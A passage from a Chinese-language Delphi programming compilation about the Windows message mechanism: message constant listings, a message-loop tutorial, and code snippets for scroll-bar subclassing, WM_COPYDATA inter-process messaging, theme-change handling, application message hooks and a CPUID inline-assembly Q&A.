当一个列表框控件将要被绘制前发送此消息给它的父窗口；通过响应这条消息，所有者窗口可以

通过使用给定的相关显示设备的句柄来设置列表框的文本和背景颜色

WM_CTLCOLORBTN = $0135;

当一个按钮控件将要被绘制时发送此消息给它的父窗口；通过响应这条消息，所有者窗口可以

通过使用给定的相关显示设备的句柄来设置按纽的文本和背景颜色

WM_CTLCOLORDLG = $0136;

当一个对话框控件将要被绘制前发送此消息给它的父窗口；通过响应这条消息，所有者窗口可以

通过使用给定的相关显示设备的句柄来设置对话框的文本背景颜色

WM_CTLCOLORSCROLLBAR= $0137;

当一个滚动条控件将要被绘制时发送此消息给它的父窗口；通过响应这条消息，所有者窗口可以

通过使用给定的相关显示设备的句柄来设置滚动条的背景颜色

WM_CTLCOLORSTATIC = $0138;

当一个静态控件将要被绘制时发送此消息给它的父窗口；通过响应这条消息，所有者窗口可以

通过使用给定的相关显示设备的句柄来设置静态控件的文本和背景颜色

WM_MOUSEFIRST = $0200;

WM_MOUSEMOVE = $0200;

// 移动鼠标

WM_LBUTTONDOWN = $0201;

//按下鼠标左键

WM_LBUTTONUP = $0202;

//释放鼠标左键

WM_LBUTTONDBLCLK = $0203;

//双击鼠标左键

WM_RBUTTONDOWN = $0204;

//按下鼠标右键

WM_RBUTTONUP = $0205;

//释放鼠标右键

WM_RBUTTONDBLCLK = $0206;

//双击鼠标右键

WM_MBUTTONDOWN = $0207;

//按下鼠标中键

WM_MBUTTONUP = $0208;

//释放鼠标中键

WM_MBUTTONDBLCLK = $0209;

//双击鼠标中键

WM_MOUSEWHEEL = $020A;

当鼠标轮子转动时发送此消息个当前有焦点的控件

WM_MOUSELAST = $020A;

WM_PARENTNOTIFY = $0210;

当MDI子窗口被创建或被销毁，或用户按了一下鼠标键而光标在子窗口上时发送此消息给它的父窗口

WM_ENTERMENULOOP = $0211;

发送此消息通知应用程序的主窗口that已经进入了菜单循环模式

WM_EXITMENULOOP = $0212;

发送此消息通知应用程序的主窗口that已退出了菜单循环模式

WM_NEXTMENU = $0213;

WM_SIZING = 532;

当用户正在调整窗口大小时发送此消息给窗口；通过此消息应用程序可以监视窗口大小和位置

也可以修改他们

WM_CAPTURECHANGED = 533;

发送此消息 给窗口当它失去捕获的鼠标时；

WM_MOVING = 534;

当用户在移动窗口时发送此消息，通过此消息应用程序可以监视窗口大小和位置

也可以修改他们；

WM_POWERBROADCAST = 536;

此消息发送给应用程序来通知它有关电源管理事件；

WM_DEVICECHANGE = 537;

当设备的硬件配置改变时发送此消息给应用程序或设备驱动程序

WM_IME_STARTCOMPOSITION = $010D;

WM_IME_ENDCOMPOSITION = $010E;

WM_IME_COMPOSITION = $010F;

WM_IME_KEYLAST = $010F;

WM_IME_SETCONTEXT = $0281;

WM_IME_NOTIFY = $0282;

WM_IME_CONTROL = $0283;

WM_IME_COMPOSITIONFULL = $0284;

WM_IME_SELECT = $0285;

WM_IME_CHAR = $0286;

WM_IME_REQUEST = $0288;

WM_IME_KEYDOWN = $0290;

WM_IME_KEYUP = $0291;

WM_MDICREATE = $0220;

应用程序发送此消息给多文档的客户窗口来创建一个MDI 子窗口

WM_MDIDESTROY = $0221;

应用程序发送此消息给多文档的客户窗口来关闭一个MDI 子窗口

WM_MDIACTIVATE = $0222;

应用程序发送此消息给多文档的客户窗口通知客户窗口激活另一个MDI子窗口，当客户窗口收到

此消息后，它发出WM_MDIACTIVE消息给MDI子窗口（未激活）激活它；

WM_MDIRESTORE = $0223;

程序 发送此消息给MDI客户窗口让子窗口从最大最小化恢复到原来大小

WM_MDINEXT = $0224;

程序 发送此消息给MDI客户窗口激活下一个或前一个窗口

WM_MDIMAXIMIZE = $0225;

程序发送此消息给MDI客户窗口来最大化一个MDI子窗口；

WM_MDITILE = $0226;

程序 发送此消息给MDI客户窗口以平铺方式重新排列所有MDI子窗口

WM_MDICASCADE = $0227;

程序 发送此消息给MDI客户窗口以层叠方式重新排列所有MDI子窗口

WM_MDIICONARRANGE = $0228;

程序 发送此消息给MDI客户窗口重新排列所有最小化的MDI子窗口

WM_MDIGETACTIVE = $0229;

程序 发送此消息给MDI客户窗口来找到激活的子窗口的句柄

WM_MDISETMENU = $0230;

程序 发送此消息给MDI客户窗口用MDI菜单代替子窗口的菜单

WM_ENTERSIZEMOVE = $0231;

WM_EXITSIZEMOVE = $0232;

WM_DROPFILES = $0233;

WM_MDIREFRESHMENU = $0234;

WM_MOUSEHOVER = $02A1;

WM_MOUSELEAVE = $02A3;

WM_CUT = $0300;

程序发送此消息给一个编辑框或combobox来删除当前选择的文本

WM_COPY = $0301;

程序发送此消息给一个编辑框或combobox来复制当前选择的文本到剪贴板

WM_PASTE = $0302;

程序发送此消息给editcontrol或combobox从剪贴板中得到数据

WM_CLEAR = $0303;

程序发送此消息给editcontrol或combobox清除当前选择的内容；

WM_UNDO = $0304;

程序发送此消息给editcontrol或combobox撤消最后一次操作

WM_RENDERFORMAT = $0305；

WM_RENDERALLFORMATS = $0306;

WM_DESTROYCLIPBOARD = $0307;

当调用ENPTYCLIPBOARD函数时 发送此消息给剪贴板的所有者

WM_DRAWCLIPBOARD = $0308;

当剪贴板的内容变化时发送此消息给剪贴板观察链的第一个窗口；它允许用剪贴板观察窗口来

显示剪贴板的新内容；

WM_PAINTCLIPBOARD = $0309;

当剪贴板包含CF_OWNERDIPLAY格式的数据并且剪贴板观察窗口的客户区需要重画；

WM_VSCROLLCLIPBOARD = $030A;

WM_SIZECLIPBOARD = $030B;

当剪贴板包含CF_OWNERDIPLAY格式的数据并且剪贴板观察窗口的客户区域的大小已经改变是此消息通过剪贴板观察窗口发送给剪贴板的所有者；

WM_ASKCBFORMATNAME = $030C;

通过剪贴板观察窗口发送此消息给剪贴板的所有者来请求一个CF_OWNERDISPLAY格式的剪贴板的名字

WM_CHANGECBCHAIN = $030D;

当一个窗口从剪贴板观察链中移去时发送此消息给剪贴板观察链的第一个窗口；

WM_HSCROLLCLIPBOARD = $030E;

此消息通过一个剪贴板观察窗口发送给剪贴板的所有者 ；它发生在当剪贴板包含CFOWNERDISPALY格式的数据并且有个事件在剪贴板观察窗的水平滚动条上；所有者应滚动剪贴板图象并更新滚动条的值；

WM_QUERYNEWPALETTE = $030F;

此消息发送给将要收到焦点的窗口，此消息能使窗口在收到焦点时同时有机会实现他的逻辑调色板

WM_PALETTEISCHANGING= $0310;

当一个应用程序正要实现它的逻辑调色板时发此消息通知所有的应用程序

WM_PALETTECHANGED = $0311;

此消息在一个拥有焦点的窗口实现它的逻辑调色板后发送此消息给所有顶级并重叠的窗口，以此

来改变系统调色板

WM_HOTKEY = $0312;

当用户按下由REGISTERHOTKEY函数注册的热键时提交此消息

WM_PRINT = 791;

应用程序发送此消息仅当WINDOWS或其它应用程序发出一个请求要求绘制一个应用程序的一部分；

WM_PRINTCLIENT = 792;

WM_HANDHELDFIRST = 856;

WM_HANDHELDLAST = 863;

WM_PENWINFIRST = $0380;

WM_PENWINLAST = $038F;

WM_COALESCE_FIRST = $0390;

WM_COALESCE_LAST = $039F;

WM_DDE_FIRST = $03E0;

WM_DDE_INITIATE = WM_DDE_FIRST + 0;

一个DDE客户程序提交此消息开始一个与服务器程序的会话来响应那个指定的程序和主题名；

WM_DDE_TERMINATE = WM_DDE_FIRST + 1;

一个DDE应用程序（无论是客户还是服务器）提交此消息来终止一个会话；

WM_DDE_ADVISE = WM_DDE_FIRST + 2;

一个DDE客户程序提交此消息给一个DDE服务程序来请求服务器每当数据项改变时更新它

WM_DDE_UNADVISE = WM_DDE_FIRST + 3;

一个DDE客户程序通过此消息通知一个DDE服务程序不更新指定的项或一个特殊的剪贴板格式的项

WM_DDE_ACK = WM_DDE_FIRST + 4;

此消息通知一个DDE（动态数据交换）程序已收到并正在处理WM_DDE_POKE, WM_DDE_EXECUTE, WM_DDE_DATA, WM_DDE_ADVISE, WM_DDE_UNADVISE, or WM_DDE_INITIAT消息

WM_DDE_DATA = WM_DDE_FIRST + 5;

一个DDE服务程序提交此消息给DDE客户程序来传递个一数据项给客户或通知客户的一条可用数据项

WM_DDE_REQUEST = WM_DDE_FIRST + 6;

一个DDE客户程序提交此消息给一个DDE服务程序来请求一个数据项的值；

WM_DDE_POKE = WM_DDE_FIRST + 7;

一个DDE客户程序提交此消息给一个DDE服务程序，客户使用此消息来请求服务器接收一个未经同意的数据项；服务器通过答复WM_DDE_ACK消息提示是否它接收这个数据项；

WM_DDE_EXECUTE = WM_DDE_FIRST + 8;

一个DDE客户程序提交此消息给一个DDE服务程序来发送一个字符串给服务器让它象串行命令一样被处理，服务器通过提交WM_DDE_ACK消息来作回应；

WM_DDE_LAST = WM_DDE_FIRST + 8;

WM_APP = $8000;

WM_USER = $0400;

此消息能帮助应用程序自定义私有消息；

/////////////////////////////////////////////////////////////////////

通知消息(Notification message)是指这样一种消息，一个窗口内的子控件发生了一些事情，需要通

知父窗口。通知消息只适用于标准的窗口控件如按钮、列表框、组合框、编辑框，以及Windows 95公

共控件如树状视图、列表视图等。例如，单击或双击一个控件、在控件中选择部分文本、操作控件的

滚动条都会产生通知消息。

按扭

B N _ C L I C K E D //用户单击了按钮

B N _ D I S A B L E //按钮被禁止

B N _ D O U B L E C L I C K E D //用户双击了按钮

B N _ H I L I T E //用户加亮了按钮

B N _ PA I N T按钮应当重画

B N _ U N H I L I T E加亮应当去掉

组合框

C B N _ C L O S E U P组合框的列表框被关闭

C B N _ D B L C L K用户双击了一个字符串

C B N _ D R O P D O W N组合框的列表框被拉出

C B N _ E D I T C H A N G E用户修改了编辑框中的文本

C B N _ E D I T U P D AT E编辑框内的文本即将更新

C B N _ E R R S PA C E组合框内存不足

C B N _ K I L L F O C U S组合框失去输入焦点

C B N _ S E L C H A N G E在组合框中选择了一项

C B N _ S E L E N D C A N C E L用户的选择应当被取消

C B N _ S E L E N D O K用户的选择是合法的

C B N _ S E T F O C U S组合框获得输入焦点

编辑框

E N _ C H A N G E编辑框中的文本己更新

E N _ E R R S PA C E编辑框内存不足

E N _ H S C R O L L用户点击了水平滚动条

E N _ K I L L F O C U S编辑框正在失去输入焦点

E N _ M A X T E X T插入的内容被截断

E N _ S E T F O C U S编辑框获得输入焦点

E N _ U P D AT E编辑框中的文本将要更新

E N _ V S C R O L L用户点击了垂直滚动条消息含义

列表框

L B N _ D B L C L K用户双击了一项

L B N _ E R R S PA C E列表框内存不够

L B N _ K I L L F O C U S列表框正在失去输入焦点

L B N _ S E L C A N C E L选择被取消

L B N _ S E L C H A N G E选择了另一项

L B N _ S E T F O C U S列表框获得输入焦点


Windows 消息机制
深入Delphi (三)

Windows 消息机制

by machine

    大家是不是很奇怪为什么我还没说到Delphi的控件呢？不过不用着急，有关深入控件的内容，将会很快出现了，但在这之前，还得了解Windows图形界面程序的机制--Windows的消息机制。

    使用过Delphi的朋友都知道，Delphi是一个真正面向对象的编程环境，但是不但如此，Delphi的这种面向对象的机制是单纯的建立在Windows的消息机制上的Delphi代码，而不是像VB、VFP之类的调用DLL、OCX，通过查看Delphi控件的源代码，你可以知道整个机制是怎样组织起来的，而且你可以完完全全地控制这些控件，因为它们只是用Delphi代码编写的，而不是存在在DLL中看不见的东西。

    那么Windows所谓的消息(Message)机制到底是什么呢？还记得以前学Basic的时候，根本没有什么事件之类的东西，整个程序是用流程图来描绘的，在程序需要键盘输入的地方，整个程序就停下来等待输入，然后根据输入来做不同的事情。这样做本来是没什么问题的，但是到了图形界面的时候，情况不同了，鼠标输入成了一个很大的问题，而且在Windows这样的多任务系统下，不可能让一个程序不断的测试设备状态那样子来获得输入。

    总之呢，Windows下的消息机制是完全不同的，即使与单纯的中断事件比起来，还是有很多不同的地方。

    简单的说来，一个线程在创建窗体的时候，会自动生成一个消息队列，但窗体不是必要的，可以通过其他途径来创建消息队列。然后，其他的程序，或者Windows系统本身，可以向这个线程发送消息到它的消息队列中，通知这个线程有什么东西发生了，这就是所谓的事件。每个进程都可以使用GetMessage函数获得它的消息队列中最前面的一个消息，GetMessage同时会自动将此消息从消息队列中删除掉，当然也可以指定不删除消息，这个以后再说。光听可能还是不能想象出来，那就看以下的例子吧：

program Sample3;

uses

  Windows,

  Messages;

var Msg: TMsg;

begin

    PostMessage(0, WM_USER, 0, 0); // 首先强制生成消息队列

    PeekMessage(Msg, 0, WM_USER, WM_USER, 0);

    // 然后这里就是所谓的消息循环，只有当收到WM_QUIT的消息时，GetMessage()才会返回False

    while GetMessage(Msg, 0, 0, 0) do begin

    end;

    // 这里可以做程序结束前(收到WM_QUIT后)的工作

end.

    这个程序运行后不会干任何事情，同时也会忽略一切Windows发给它的消息，除了WM_QUIT之外，因为GetMessage这个函数有一个特点，当收到其他消息的时候，GetMessage的返回值是TRUE，而在收到WM_QUIT的时候返回值则为FALSE，因此消息循环就被打破了。在Windows关闭的时候，Windows会自动发一个WM_QUIT的消息到这个程序的主线程，然后程序就退出了。

    绝大多数的程序的主体就是这个样子，都有一个消息循环，也就是说，每一个程序都是不断的使用GetMessage尝试获得新的消息，然后处理，周而复始，直到收到WM_QUIT为止。而其中高明之处，就是GetMessage在被调用的时候，如果检查出消息队列中没有消息，则函数不会马上返回，而是使线程转入睡眠状态，因而线程不会因为不断的循环而浪费CPU时间。在有新的消息收到之后，线程会重新苏醒，GetMessage把收到的消息放到一个TMsg类型的参数里面返回，于是程序就可以处理这个消息了。

    好了，这个消息机制是如何和窗体程序结合在一起的呢？换句话说，如果程序生成了窗体，那么程序又如何通过这个消息机制获取用户的输入消息呢？这就要从创建窗体的过程说起了。以下是一个比较复杂一点的例子：

program Sample4;

uses

  Windows,

  Messages;

var

  Msg: TMsg;

  wc: TWndClass; // RegisterClass()所需要的参数

  hWnd: THandle; // 主窗体的句柄

const

  ClassName = 'MainWClass';

function MainWndProc(Handle: THandle; MsgID: UINT; wParam, lParam: Integer): LRESULT; stdcall;

begin

    Result := 1;

    case MsgID of

        WM_CLOSE: begin // 关闭窗体所产生的消息

            if MessageBox(Handle,

                '要关闭这个程序吗？',

                '例子程序-4',

                MB_ICONQUESTION or MB_YESNO

                    ) = IDYES then

                DestroyWindow(hWnd)

            else

                Result := 0;

            Exit;

        end;

        WM_DESTROY: begin // DestroyWindow()所产生的消息

            PostQuitMessage(0);

        end;

    end;

    // 剩下的消息交给Windows预设的处理函数就可以了，比如画窗体的WM_NCPAINT消息等

    Result := DefWindowProc(Handle, MsgID, wParam, lParam);

end;

begin

    // 首先使用RegisterClass()注册窗体的类，这可不是Delphi数据类型中的类哦！

    wc.style := CS_HREDRAW or CS_VREDRAW;

    wc.lpfnWndProc := @MainWndProc; // 消息处理函数的地址

    wc.hInstance := hInstance; // 程序的句柄，同时也是基地址

    wc.hIcon := LoadIcon(0, PChar(IDI_APPLICATION));

    wc.hCursor := LoadCursor(0, IDC_ARROW); // 图标

    wc.hbrBackground := GetStockObject(WHITE_BRUSH); // 背景画刷

    wc.lpszClassName := ClassName; // 前面定义的常量

    if RegisterClass(wc) = 0 then Halt(0);

    hWnd := CreateWindowEx(0,

        ClassName, // 刚才注册的类的名称

        'Sample', // 窗体的标题

        WS_OVERLAPPEDWINDOW, // 窗体有标题栏、系统菜单、最大小化菜单，以及拉伸边框

        Integer(CW_USEDEFAULT),

        Integer(CW_USEDEFAULT),

        Integer(CW_USEDEFAULT),

        Integer(CW_USEDEFAULT),

        0,

        0,

        hInstance,

        nil

    );

    if hWnd = 0 then Halt(0);

    ShowWindow(hWnd, CmdShow);

    UpdateWindow(hWnd);

    while GetMessage(Msg, 0, 0, 0) do begin

        TranslateMessage(Msg);

        DispatchMessage(Msg); // 该API将消息分派到相应的窗体消息处理函数

    end;

    ExitCode := Msg.wParam;

end.

    由于要说的东西比较多，其中的API说明、定义就请各位自己查看SDK了。在创建窗体之前，首先需要向Windows注册窗体的类。所谓的注册窗体类，就是要填充一个TWndClass结构的数据，设定这个类的属性，然后传递给RegisterWindowClass()。在这些属性当中，就包括这个类的窗体消息处理函数的指针，然后还有这个类的名称。在用CreateWindowEx创建主窗体的时候，就可以根据类的名称创建这个类的窗体了。那么窗体消息处理函数是用来干什么的呢？

    需要注意的是，一个线程可以创建多个窗体，这些窗体可以是你的程序创建的，也可能是Windows在你的程序运行过程当中创建的，比如用户点击窗体左上角的系统图标时Windows会生成一个系统菜单--在Windows里，所有你能看到的东西，包括编辑框、按钮这些东西都叫做窗体，并非程序主窗体、子窗体才叫做窗体的哦！那么问题也就随之而来了，一个线程中消息队列只有一个，但窗体有这么多，如果所有消息都在主程序的消息循环中处理，那么编写大的程序将非常困难，而且结构混乱的程序维护起来也很麻烦。于是这个窗体消息处理函数(Window Procedure)就起作用了，由于可以为每一个类编写消息处理函数，因此只需要在收到相应窗体的消息的时候，把消息传递给相应类的消息处理函数处理就可以了，整个程序就变得十分结构化。程序中甚至不需要记录每一个窗体对应的类消息处理函数是哪一个，直接调用DispatchMessage() Windows就会自动使用相应的消息处理函数了。

    另一个函数DefWindowPro()也是一个关键之处，试一下把这一行省略，看看程序运行后有什么效果？事实上，这样做之后，甚至连窗体你都不会看得到，Windows只是为你所创建的窗体在屏幕上保留了一个位置。为什么呢？你的程序并没有画窗体啊！别以为创建了窗体之后Windows就会为你完成一切，其实是DefWindowProc()处理了WM_PAINT和WM_NCPAINT的消息，完成了画窗体的工作，DefWindowProc为一般的程序主窗体做了很多这样的幕后工作哦！也由此可见，消息并不只是用户鼠标、键盘的输入消息，而是程序和Windows系统的联系工具，以后就会知道，消息还有很多用处呢，而编写Delphi控件很多时候也离不开消息。好了，这一章就讲到这里吧。


截获滚动条消息
截获滚动条消息

type

{$IFDEF WIN32}

WParameter = LongInt;

{$ELSE}

WParameter = Word;

{$ENDIF}

LParameter = LongInt;

{Declare a variable to hold the window procedure we are replacing}

var

OldWindowProc : Pointer;

function NewWindowProc(WindowHandle : hWnd;

TheMessage : WParameter;

ParamW : WParameter;

ParamL : LParameter) : LongInt

{$IFDEF WIN32} stdcall; {$ELSE} ; export; {$ENDIF}

var

TheRangeMin : integer;

TheRangeMax : integer;

TheRange : integer;

begin

if TheMessage = WM_VSCROLL then begin

{Get the min and max range of the horizontal scroll box}

GetScrollRange(WindowHandle,

SB_HORZ,

TheRangeMin,

TheRangeMax);

{Get the vertical scroll box position}

TheRange := GetScrollPos(WindowHandle,

SB_VERT);

{Make sure we wont exceed the range}

if TheRange < TheRangeMin then

TheRange := TheRangeMin else

if TheRange > TheRangeMax then

TheRange := TheRangeMax;

{Set the horizontal scroll bar}

SetScrollPos(WindowHandle,

SB_HORZ,

TheRange,

true);

end;

if TheMessage = WM_HSCROLL then begin

{Get the min and max range of the horizontal scroll box}

GetScrollRange(WindowHandle,

SB_VERT,

TheRangeMin,

TheRangeMax);

{Get the horizontal scroll box position}

TheRange := GetScrollPos(WindowHandle,

SB_HORZ);

{Make sure we wont exceed the range}

if TheRange < TheRangeMin then

TheRange := TheRangeMin else

if TheRange > TheRangeMax then

TheRange := TheRangeMax;

{Set the vertical scroll bar}

SetScrollPos(WindowHandle,

SB_VERT,

TheRange,

true);

end;

{ Call the old Window procedure to }

{ allow processing of the message. }

NewWindowProc := CallWindowProc(OldWindowProc,

WindowHandle,

TheMessage,

ParamW,

ParamL);

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

{ Set the new window procedure for the control }

{ and remember the old window procedure. }

OldWindowProc := Pointer(SetWindowLong(ScrollBox1.Handle,

GWL_WNDPROC,

LongInt(@NewWindowProc)));

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

{ Set the window procedure back }

{ to the old window procedure. }

SetWindowLong(ScrollBox1.Handle,

GWL_WNDPROC,

LongInt(OldWindowProc));

end;


两个程序之间用消息传递数据
两个程序之间用消息传递数据。

问题：我想用SendMessage和自定义消息在两个程序之间传递一个字符串，问题是如果这个字符串是一个常量，SendMessage(h,CM_MYMESSAGE,0,integer(pchar('abcdef')));另外一个程序对CM_MYMESSAGE进行处理可以收到'abcdef'，然而，把abcdef变成一个pchar或者string进行传递，就无法正常使用了！如何解决呢？

解答：可以利用WM_COPYDATA来做。

下面代码仅仅演示，细节错误不予考虑

procedure Init;

var

s : pchar;

h : hwnd;

buf:tagCOPYDATASTRUCT;

begin

h := FindWindow('TForm1', 'Form1');

if h <> 0 then

begin

GetMem(s,100);

buf.lpData :=s;

buf.cbData:=100;

buf.dwData :=100;

strpcopy(s, ParamStr(0));

SendMessage(h, WM_COPYDATA, 0, integer(@buf));

end;

end;

procedure TForm1.WM_COPYDATA(var msg: TMessage);

var

P:^tagCOPYDATASTRUCT;

begin

p:=Pointer(Msg.lParam);

ShowMessage(strpas(p.lpData));

end;

***********************************************************************************

{

The WM_COPYDATA messages makes it possible to transfer information

between processes. It does this by passing the data through the kernel.

Space is allocated in the receiving process to hold the information that is copied,

by the kernel, from the source process to the target process.

The sender passes a pointer to a COPYDATASTRUCT, which is defined as a structure

of the following:

}

type

TCopyDataStruct = packed record

dwData: DWORD; // anwendungsspezifischer Wert

cbData: DWORD; // Byte-L?nge der zu übertragenden Daten

lpData: Pointer; // Adresse der Daten

end;

{ Sender Application }

unit SenderApp;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, ExtCtrls;

type

TForm1 = class(TForm)

Button1: TButton;

Edit1: TEdit;

Button2: TButton;

Image1: TImage;

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

private

procedure SendCopyData(hTargetWnd: HWND; ACopyDataStruct:TCopyDataStruct);

public

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

// Sender: Send data

// Sender: Daten schicken

procedure TForm1.SendCopyData(hTargetWnd: HWND; ACopyDataStruct:TCopyDataStruct);

begin

if hTargetWnd <> 0 then

SendMessage(hTargetWnd, WM_COPYDATA, Longint(Handle), Longint(@ACopyDataStruct))

else

ShowMessage('No Recipient found!');

end;

// Send Text from Edit1 to other app

// Text von Edit1 an andere Anwendung schicken

procedure TForm1.Button1Click(Sender: TObject);

var

MyCopyDataStruct: TCopyDataStruct;

hTargetWnd: HWND;

begin

// Set up a COPYDATASTRUCT structure for use with WM_COPYDATA

// TCopyDataStruct mit den Sende-Daten Infos ausfüllen

with MyCopyDataStruct do

begin

dwData := 0; // may use a value do identify content of message

cbData := StrLen(PChar(Edit1.Text)) + 1; //Need to transfer terminating #0 as well

lpData := PChar(Edit1.Text)

end;

// Find the destination window for the WM_COPYDATA message

// Empf?nger Fenster anhand des Titelzeilentextes suchen

hTargetWnd := FindWindow(nil,PChar('Message Receiver'));

// send the structure to the receiver

// Die Struktur an den Empf?nger schicken

SendCopyData(hTargetWnd, MyCopyDataStruct);

end;

// Send Image1 to other app

// Image1 an andere Anwendung schicken

procedure TForm1.Button2Click(Sender: TObject);

var

ms: TMemoryStream;

MyCopyDataStruct: TCopyDataStruct;

hTargetWnd: HWND;

begin

ms := TMemoryStream.Create;

try

image1.Picture.Bitmap.SaveToStream(ms);

with MyCopyDataStruct do

begin

dwData := 1;

cbData := ms.Size;

lpData := ms.Memory;

end;

// Search window by the window title

// Empf?nger Fenster anhand des Titelzeilentextes suchen

hTargetWnd := FindWindow(nil,PChar('Message Receiver'));

// Send the Data

// Daten Senden

SendCopyData(hTargetWnd,MyCopyDataStruct);

finally

ms.Free;

end;

end;

end.

{*********************************************************************}

{ Receiver Application }

unit ReceiverApp;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ExtCtrls, StdCtrls;

type

TForm1 = class(TForm)

Image1: TImage;

Label1: TLabel;

private

procedure WMCopyData(var Msg: TWMCopyData); message WM_COPYDATA;

{ Private-Deklarationen }

public

{ Public-Deklarationen }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMCopyData(var Msg: TWMCopyData);

var

sText: array[0..99] of Char;

ms: TMemoryStream;

begin

case Msg.CopyDataStruct.dwData of

0: { Receive Text, Text empfangen}

begin

StrLCopy(sText, Msg.CopyDataStruct.lpData, Msg.CopyDataStruct.cbData);

label1.Caption := sText;

end;

1: { Receive Image, Bild empfangen}

begin

ms := TMemoryStream.Create;

try

with Msg.CopyDataStruct^ do

ms.Write(lpdata^, cbdata);

ms.Position := 0;

image1.Picture.Bitmap.LoadFromStream(ms);

finally

ms.Free;

end;

end;

end;

end;

end.


Winxp 主体改变消息
Rainer Kmerle

const

WM_THEMECHANGED = $031A;

type

TForm1 = class(TForm)

{...}

private

public

procedure WMTHEMECHANGED(var Msg: TMessage); message WM_THEMECHANGED;

end;

{...}

implementation

{...}

procedure TForm1.WMTHEMECHANGED(var Msg: TMessage);

begin

Label1.Caption := 'Theme changed';

Msg.Result := 0;

end;


trap Windows Messages in a Component
...trap Windows Messages in a Component?

{

TApplication includes a method called HookMainWindow that allows you to

insert your own message handler at the top of WndProc to intercept messages sent

to your application before they're handled by the Application object.

HookMainWindow() is declared under TApplication as follows:

}

procedure HookMainWindow(Hook : TWindowHook);

{

HookMainWindow() takes one parameter (Hook of type TWindowHook).

TWindowHook is a method pointer type that's defined like so:

}

type

TWindowHook = function(var Message : TMessage) : Boolean of object;

{

Since TWindowHook is a method pointer, you can define your own method as

the hook function as long as it follows the nomenclature defined for TWindowHook.

The return value of the function is of type Boolean.

This is the equivalent of the "Handled" parameter of OnMessage.

If your function handles a particular message, you'd return true.

This will be passed back to the Application's WndProc and message processing for that

message will be terminated. Otherwise, you'd return False.

The Component "MessageReceiver" intercepts user-definded messages

(> WM_USER) und as example the message WM_TIMECHANGE.

}

{*************************************************************************}

{

TApplication besitzt eine Methode HookMainWindow.

Damit kann man in die Windows Prozedur (WndProc) "einhaken" und Nachrichten,

welche an die Applikation geschickt werden, abfangen und behandeln.

HookMainWindow is wie folgt deklariert:

}

procedure HookMainWindow(Hook : TWindowHook);

{ Und der Parameter TWindowHook (Methoden Pointer) so: }

type

TWindowHook = function(var Message : TMessage) : Boolean of object;

{

Der Rückgabewert der Funktion ist vom Type Boolean.

Dieser enspricht dem "Handled" Parameter von OnMessage.

Wenn nun eine bestimmte Nachricht behandlet wird, kann True zurückgegeben

werden, sonst False.

Die Komponente "MessageReceiver" f?ngt einerseits benuterdefinierte Nachrichten

(> WM_USER) und als Beispiel die Nachricht WM_TIMECHANGE ab.

Im OnCreate() wird Application.HookMainWindow aufgerufen und im OnDestroy() dann

- falls n?tig - Application.UnhookMainWindow.

}

{*************************************************************************}

unit MessageReceiver;

interface

uses

Windows, Messages, SysUtils, Classes, Forms, Dialogs;

type

TOnReceiveUserMessage = procedure(Msg: Cardinal; wParam, lParam: Integer;

var Handled: Boolean) of object;

TOnReceiveOtherMessage = procedure(var Handled: Boolean) of object;

TMessageReceiver = class(TComponent)

private

{ Private declarations }

FHooked: Boolean;

FOnReceiveUserMessage: TOnReceiveUserMessage;

FOnDateTimeChange: TOnReceiveOtherMessage;

function MessageHook(var Msg: TMessage): Boolean;

protected

function DoDateTimeChange(Msg: TMessage): Boolean; dynamic;

function DoUserMessage(Msg: TMessage): Boolean; dynamic;

public

{ Public declarations }

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

published

{ Published declarations }

property OnDateTimeChange: TOnReceiveOtherMessage

read FOnDateTimeChange write FOnDateTimeChange;

property OnReceiveUserMessage: TOnReceiveUserMessage

read FOnReceiveUserMessage write FOnReceiveUserMessage;

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('System', [TMessageReceiver]);

end;

function TMessageReceiver.MessageHook(var Msg: TMessage): Boolean;

begin

Result := False;

// User defined messages

if (Msg.Msg >= WM_USER) then

Result := DoUserMessage(Msg)

else

// Other messages

case Msg.Msg of

WM_TIMECHANGE: Result := DoDateTimeChange(Msg);

// ...

end;

end;

function TMessageReceiver.DoDateTimeChange(Msg : TMessage): Boolean;

begin

Result := False;

if Assigned(FOnDateTimeChange) then

FOnDateTimeChange(Result);

end;

function TMessageReceiver.DoUserMessage(Msg: TMessage): Boolean;

begin

Result := False;

if Assigned(FOnReceiveUserMessage) then

FOnReceiveUserMessage(Msg.Msg, Msg.wParam, Msg.LParam, Result);

end;

constructor TMessageReceiver.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

FHooked := False;

if not (csDesigning in ComponentState) then

begin

Application.HookMainWindow(MessageHook);

FHooked := True;

end;

end;

destructor TMessageReceiver.Destroy;

begin

if FHooked then Application.UnhookMainWindow(MessageHook);

inherited Destroy;

end;

end.


CPUID
procedure TForm1.Button1Click(Sender: TObject);

var rebx,recx,redx:dword;

str1:string;

begin

asm

mov eax,0

db 0fh,0a2h // cpuid

mov rebx,ebx

mov recx,ecx

mov redx,edx

end;

str1:=chr(rebx mod $100)+chr((rebx div $100) mod $100)+chr((rebx div

$10000) mod $100)+chr((rebx div $1000000) mod $100);

str1:=str1+chr(redx mod $100)+chr((redx div $100) mod $100)+chr((redx div

$10000) mod $100)+chr((redx div $1000000) mod $100);

str1:=str1+chr(recx mod $100)+chr((recx div $100) mod $100)+chr((recx div

$10000) mod $100)+chr((recx div $1000000) mod $100);

edit1.text:=str1; {一执行此句就出错}

end;

end.

eax, ebx都是比较重要的寄存器，建议你用它们之前先将其入栈（最好将所有寄存器入

栈比较保险:pushad/popad），在用完后弹出栈。

*************

有这样一段代码得出CPU厂家：

int mycpuid[20]；

tchar zzz[20];

_asm

{

mov eax,0

cpuid

mov mycpuid[0],ebx

mov mycpuid[4],edx

mov mycpuid[8],ecx

}

sprintf(zzz,"CPU厂家为:",mycpuid);

在VC中编译通过。

然而我在DELPHI中却总是无法通过！并且不认cpuid(注：CPUID为微处理器中的一条指令）

：温柔一刀 时间：00-12-27 16:34:36 ID:426417

CPUID这一句换成：

DW $A20F

--------------------------------------------------------------------------------

来自：chentf 时间：00-12-28 10:06:14 ID:426985

var

a:array of integer;

begin

asm

mov eax,0

DW $A20F

